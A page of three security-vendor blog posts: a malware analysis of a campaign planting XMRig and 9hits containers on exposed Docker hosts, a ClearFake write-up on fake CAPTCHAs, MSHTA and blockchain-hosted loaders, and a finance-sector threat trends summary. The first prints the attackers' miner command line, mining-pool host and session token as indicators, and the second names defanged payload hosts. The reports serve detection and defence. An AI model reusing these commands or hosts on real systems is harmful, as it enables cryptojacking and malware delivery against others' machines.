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January 18, 2024

Containerised Clicks: Malicious Use of 9hits on Vulnerable Docker Hosts

Cado Security Labs uncovered a new campaign targeting vulnerable Docker services. Attackers deploy XMRig miners and the 9hits viewer application to generate credits. This campaign highlights attackers' evolving monetization strategies and the ongoing vulnerability of exposed Docker hosts.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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18
Jan 2024

Introduction: Malicious use of 9hits on vulnerable docker hosts

During routine monitoring of our honeypot infrastructure, Cado Security Labs researchers (now part of Darktrace) observed a novel campaign targeting vulnerable Docker services. The campaign deploys two containers to the vulnerable instance - a regular XMRig miner, as well as the 9hits viewer application. This was the first documented case of malware deploying the 9hits application as a payload, based on available open-source intelligence at the time.

9hits [1] describes itself as “A Unique Web Traffic Solution”. It is a platform where members can buy credits, which can then be exchanged for traffic being generated on their website of choice. Members can also run the 9hits viewer app, which runs a headless chrome instance in order to visit websites requested by other members, in exchange for a cut of the credits.

Screenshot from 9hits
Figure 1: Steps for using 9hits platform from viewer app

The viewer app responsible for generating hits and credits is now being deployed by malware, in order to generate credits for the attacker.

Initial access

The containers are deployed on the vulnerable Docker host over the Internet by an attacker-controlled server. Cado Security have been unable to obtain a copy of the spreader, however can speculate that the attacker discovered the honeypot via a service like Shodan. This is because the attacker’s IP does not have any entries in common abuse databases, suggesting it is not actively scanning. It is also possible the attacker is using a separate server for scanning.

After discovery, the spreader uses the Docker API to deploy two containers:

Jan 08 16:44:27 docker.novalocal dockerd[1014]: time="2024-01-08T16:44:27.619512372Z" level=debug msg="Calling POST /v1.43/images/create?fromImage=minerboy%2FXMRig&tag=latest" 
Jan 08 16:44:38 docker.novalocal dockerd[1014]: time="2024-01-08T16:44:38.725291585Z" level=debug msg="Calling POST /v1.43/images/create?fromImage=9hitste%2Fapp&tag=latest" 

This can also be seen reflected in the network capture of the honeypot, originating from IP 27[.]36.82.56 (An IP in Foshan, China). The IP 43[.]163.195.252 (Tencent hosting in Japan) has also been observed in the past.

Network capture
Figure 2: Network capture

Looking closer at the requests, we can observe a user agent of docker client:

User agent of docker client
Figure 3: User agent of docker client

Obviously, it is possible to clone a user agent and make it look like a Docker client. However, the order of API requests in the capture is identical to an actual instance of the Docker CLI. It is likely the attacker is using a script that sets the DOCKER_HOST variable and runs the regular CLI in order to compromise the server.  

The above API calls fetches off-the-shelf images from Dockerhub for the 9hits and XMRig software. This is a common attack vector for campaigns targeting Docker, where instead of fetching a bespoke image for their purposes they pull a generic image off Dockerhub (which will almost always be accessible) and leverage it for their needs.

In Cado’s investigations of campaigns targeting our honeypot, attackers often used a generic Alpine image and attach to it in order to break out of the container and run their malware on the host. In this case, the attacker makes no attempt to exit the container, and instead just runs the container with a predetermined argument.

Payload operation

As mentioned previously, the spreader invokes the Docker container with a custom command to kick start the infection. This command includes configuration and session identifiers.

Using memory forensics, the following processes being run by the 9hits container can be observed:

pid	  ppid	proc	cmd 
2379	2358	nh.sh	/bin/bash /nh.sh --token=c89f8b41d4972209ec497349cce7e840 --system-session --allow-crypto=no 
2406	2379	Xvfb	Xvfb :1 
2407	2379	9hits	/etc/9hitsv3-linux64/9hits --mode=exchange --current-hash=1704770235 --hide-browser=no --token=c89f8b41d4972209ec497349cce7e840 --allow-popups=yes --allow-adult=yes --allow-crypto=no --system-session --cache-del=200 --single-process --no-sandbox --no-zygote --auto-start 
2508	2455	9hbrowser	/etc/9hitsv3-linux64/browser/9hbrowser --nh-param=b2e931191f49d --ssid=<honeypot IP> 

In this case, the entry point for the container is the “ nh.sh ” script, which the attacker has added their session token to. This allows the 9hits app to authenticate with their servers and pull a list of sites to visit from them. Once the app has visited the site, the owner of the session token is awarded with a credit on the 9hits platform.

It appears that 9hits designed the session token system to work in untrusted contexts. It’s impossible to use the token for anything other than running the app to generate credits for the token owner, with the API and authentication tokens being a separate system. This allows the app to be run in illegitimate campaigns without the risk of the attacker's account being compromised.

9hits itself is based on headless Chrome, and as can be seen from the other processes, a browser instance is spawned to visit websites. The no sandbox, single process, and no zygote arguments are frequently passed to Chrome browsers running as root or in containers. There are a few other options that are set for this campaign, such as allowing it to visit adult sites, allowing it to visit sites that show popups, and configuring the cache duration. In addition, the actor behind this campaign has disabled the 9hits app’s ability to visit crypto related sites. The reason for this is unclear.

On the other container deployed by the attacker (XMRig), we can see it executes the following:

<code>1572	1552	XMRig	/app/XMRig -o byw.dscloud.me:3333 --randomx-1gb-pages --donate-level=0</code> 

The -o option specifies a mining pool to use. Most XMRig deployments will use a public pool and tell it the owner's wallet address, which can be frequently combined with the pool’s public data to see how many machines are mining for that address, along with the earnings of the owner. However, in this case it would appear that the mining pool is private, preventing access to statistics related to the campaign.

The dscloud domain is used by synology for dynamic DNS, where the synology server will keep the domain updated with the current IP of the attacker. Performing a lookup for this address at the time of writing, we can see it resolves to 27[.]36.82.56, the same IP that infected the honeypot in the first place.

Conclusion

The main impact of this campaign on compromised hosts is resource exhaustion, as the XMRig miner will use all available CPU resources it can while 9hits will use a large amount of bandwidth, memory, and what little CPU is left. The result of this is that legitimate workloads on infected servers will be unable to perform as expected. In addition, the campaign could be updated to leave a remote shell on the system, potentially causing a more serious breach. This has been seen before with mexals/diicot [2], a Romanian threat actor that maintained access to compromised servers using a malicious SSH key in addition to executing XMRig.

This campaign demonstrates that attackers are always looking for more strategies to make money from compromised hosts. It additionally shows that exposed Docker hosts are still a common entry vector for attackers. As Docker allows users to run arbitrary code, it is critical that it is kept secure to avoid your systems being used for malicious purposes.

IoCs

Docker container name Docker container image

faucet 9hitste/app

xmg minerboy/XMRig

Mining pool

byw.dscloud.me:3333

Session token

c89f8b41d4972209ec497349cce7e840

References:

[1] https://9hits.com/

[2] https://www.darktrace.com/blog/tracking-diicot-an-emerging-romanian-threat-actor

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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January 30, 2026

ClearFake: From Fake CAPTCHAs to Blockchain-Driven Payload Retrieval

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What is ClearFake?

As threat actors evolve their techniques to exploit victims and breach target networks, the ClearFake campaign has emerged as a significant illustration of this continued adaptation. ClearFake is a campaign observed using a malicious JavaScript framework deployed on compromised websites, impacting sectors such as e‑commerce, travel, and automotive. First identified in mid‑2023, ClearFake is frequently leveraged to socially engineer victims into installing fake web browser updates.

In ClearFake compromises, victims are steered toward compromised WordPress sites, often positioned by attackers through search engine optimization (SEO) poisoning. Once on the site, users are presented with a fake CAPTCHA. This counterfeit challenge is designed to appear legitimate while enabling the execution of malicious code. When a victim interacts with the CAPTCHA, a PowerShell command containing a download string is retrieved and executed.

Attackers commonly abuse the legitimate Microsoft HTML Application Host (MSHTA) in these operations. Recent campaigns have also incorporated Smart Chain endpoints, such as “bsc-dataseed.binance[.]org,” to obtain configuration code. The primary payload delivered through ClearFake is typically an information stealer, such as Lumma Stealer, enabling credential theft, data exfiltration, and persistent access [1].

Darktrace’s Coverage of ClearFake

Darktrace / ENDPOINT first detected activity likely associated with ClearFake on a single device on over the course of one day on November 18, 2025. The system observed the execution of “mshta.exe,” the legitimate Microsoft HTML Application Host utility. It also noted a repeated process command referencing “weiss.neighb0rrol1[.]ru”, indicating suspicious external activity. Subsequent analysis of this endpoint using open‑source intelligence (OSINT) indicated that it was a malicious, domain generation algorithm (DGA) endpoint [2].

The process line referencing weiss.neighb0rrol1[.]ru, as observed by Darktrace / ENDPOINT.
Figure 1: The process line referencing weiss.neighb0rrol1[.]ru, as observed by Darktrace / ENDPOINT.

This activity indicates that mshta.exe was used to contact a remote server, “weiss.neighb0rrol1[.]ru/rpxacc64mshta,” and execute the associated HTA file to initiate the next stage of the attack. OSINT sources have since heavily flagged this server as potentially malicious [3].

The first argument in this process uses the MSHTA utility to execute the HTA file hosted on the remote server. If successful, MSHTA would then run JavaScript or VBScript to launch PowerShell commands used to retrieve malicious payloads, a technique observed in previous ClearFake campaigns. Darktrace also detected unusual activity involving additional Microsoft executables, including “winlogon.exe,” “userinit.exe,” and “explorer.exe.” Although these binaries are legitimate components of the Windows operating system, threat actors can abuse their normal behavior within the Windows login sequence to gain control over user sessions, similar to the misuse of mshta.exe.

EtherHiding cover

Darktrace also identified additional ClearFake‑related activity, specifically a connection to bsc-testnet.drpc[.]org, a legitimate BNB Smart Chain endpoint. This activity was triggered by injected JavaScript on the compromised site www.allstarsuae[.]com, where the script initiated an eth_call POST request to the Smart Chain endpoint.

Example of a fake CAPTCHA on the compromised site www.allstarsuae[.]com.
Figure 2: Example of a fake CAPTCHA on the compromised site www.allstarsuae[.]com.

EtherHiding is a technique in which threat actors leverage blockchain technology, specifically smart contracts, as part of their malicious infrastructure. Because blockchain is anonymous, decentralized, and highly persistent, it provides threat actors with advantages in evading defensive measures and traditional tracking [4].

In this case, when a user visits a compromised WordPress site, injected base64‑encoded JavaScript retrieved an ABI string, which was then used to load and execute a contract hosted on the BNB Smart Chain.

JavaScript hosted on the compromised site www.allstaruae[.]com.
Figure 3: JavaScript hosted on the compromised site www.allstaruae[.]com.

Conducting malware analysis on this instance, the Base64 decoded into a JavaScript loader. A POST request to bsc-testnet.drpc[.]org was then used to retrieve a hex‑encoded ABI string that loads and executes the contract. The JavaScript also contained hex and Base64‑encoded functions that decoded into additional JavaScript, which attempted to retrieve a payload hosted on GitHub at “github[.]com/PrivateC0de/obf/main/payload.txt.” However, this payload was unavailable at the time of analysis.

Darktrace’s detection of the POST request to bsc-testnet.drpc[.]org.
Figure 4: Darktrace’s detection of the POST request to bsc-testnet.drpc[.]org.
Figure 5: Darktrace’s detection of the executable file and the malicious hostname.

Autonomous Response

As Darktrace’s Autonomous Response capability was enabled on this customer’s network, Darktrace was able to take swift mitigative action to contain the ClearFake‑related activity early, before it could lead to potential payload delivery. The affected device was blocked from making external connections to a number of suspicious endpoints, including 188.114.96[.]6, *.neighb0rrol1[.]ru, and neighb0rrol1[.]ru, ensuring that no further malicious connections could be made and no payloads could be retrieved.

Autonomous Response also acted to prevent the executable mshta.exe from initiating HTA file execution over HTTPS from this endpoint by blocking the attempted connections. Had these files executed successfully, the attack would likely have resulted in the retrieval of an information stealer, such as Lumma Stealer.

Autonomous Response’s intervention against the suspicious connectivity observed.
Figure 6: Autonomous Response’s intervention against the suspicious connectivity observed.

Conclusion

ClearFake continues to be observed across multiple sectors, but Darktrace remains well‑positioned to counter such threats. Because ClearFake’s end goal is often to deliver malware such as information stealers and malware loaders, early disruption is critical to preventing compromise. Users should remain aware of this activity and vigilant regarding fake CAPTCHA pop‑ups. They should also monitor unusual usage of MSHTA and outbound connections to domains that mimic formats such as “bsc-dataseed.binance[.]org” [1].

In this case, Darktrace was able to contain the attack before it could successfully escalate and execute. The attempted execution of HTA files was detected early, allowing Autonomous Response to intervene, stopping the activity from progressing. As soon as the device began communicating with weiss.neighb0rrol1[.]ru, an Autonomous Response inhibitor triggered and interrupted the connections.

As ClearFake continues to rise, users should stay alert to social engineering techniques, including ClickFix, that rely on deceptive security prompts.

Credit to Vivek Rajan (Senior Cyber Analyst) and Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Darktrace Model Detections

Process / New Executable Launched

Endpoint / Anomalous Use of Scripting Process

Endpoint / New Suspicious Executable Launched

Endpoint / Process Connection::Unusual Connection from New Process

Autonomous Response Models

Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block

List of Indicators of Compromise (IoCs)

  • weiss.neighb0rrol1[.]ru – URL - Malicious Domain
  • 188.114.96[.]6 – IP – Suspicious Domain
  • *.neighb0rrol1[.]ru – URL – Malicious Domain

MITRE Tactics

Initial Access, Drive-by Compromise, T1189

User Execution, Execution, T1204

Software Deployment Tools, Execution and Lateral Movement, T1072

Command and Scripting Interpreter, T1059

System Binary Proxy Execution: MSHTA, T1218.005

References

1.        https://www.kroll.com/en/publications/cyber/rapid-evolution-of-clearfake-delivery

2.        https://www.virustotal.com/gui/domain/weiss.neighb0rrol1.ru

3.        https://www.virustotal.com/gui/file/1f1aabe87e5e93a8fff769bf3614dd559c51c80fc045e11868f3843d9a004d1e/community

4.        https://www.packetlabs.net/posts/etherhiding-a-new-tactic-for-hiding-malware-on-the-blockchain/

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Vivek Rajan
Cyber Analyst

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January 30, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

6. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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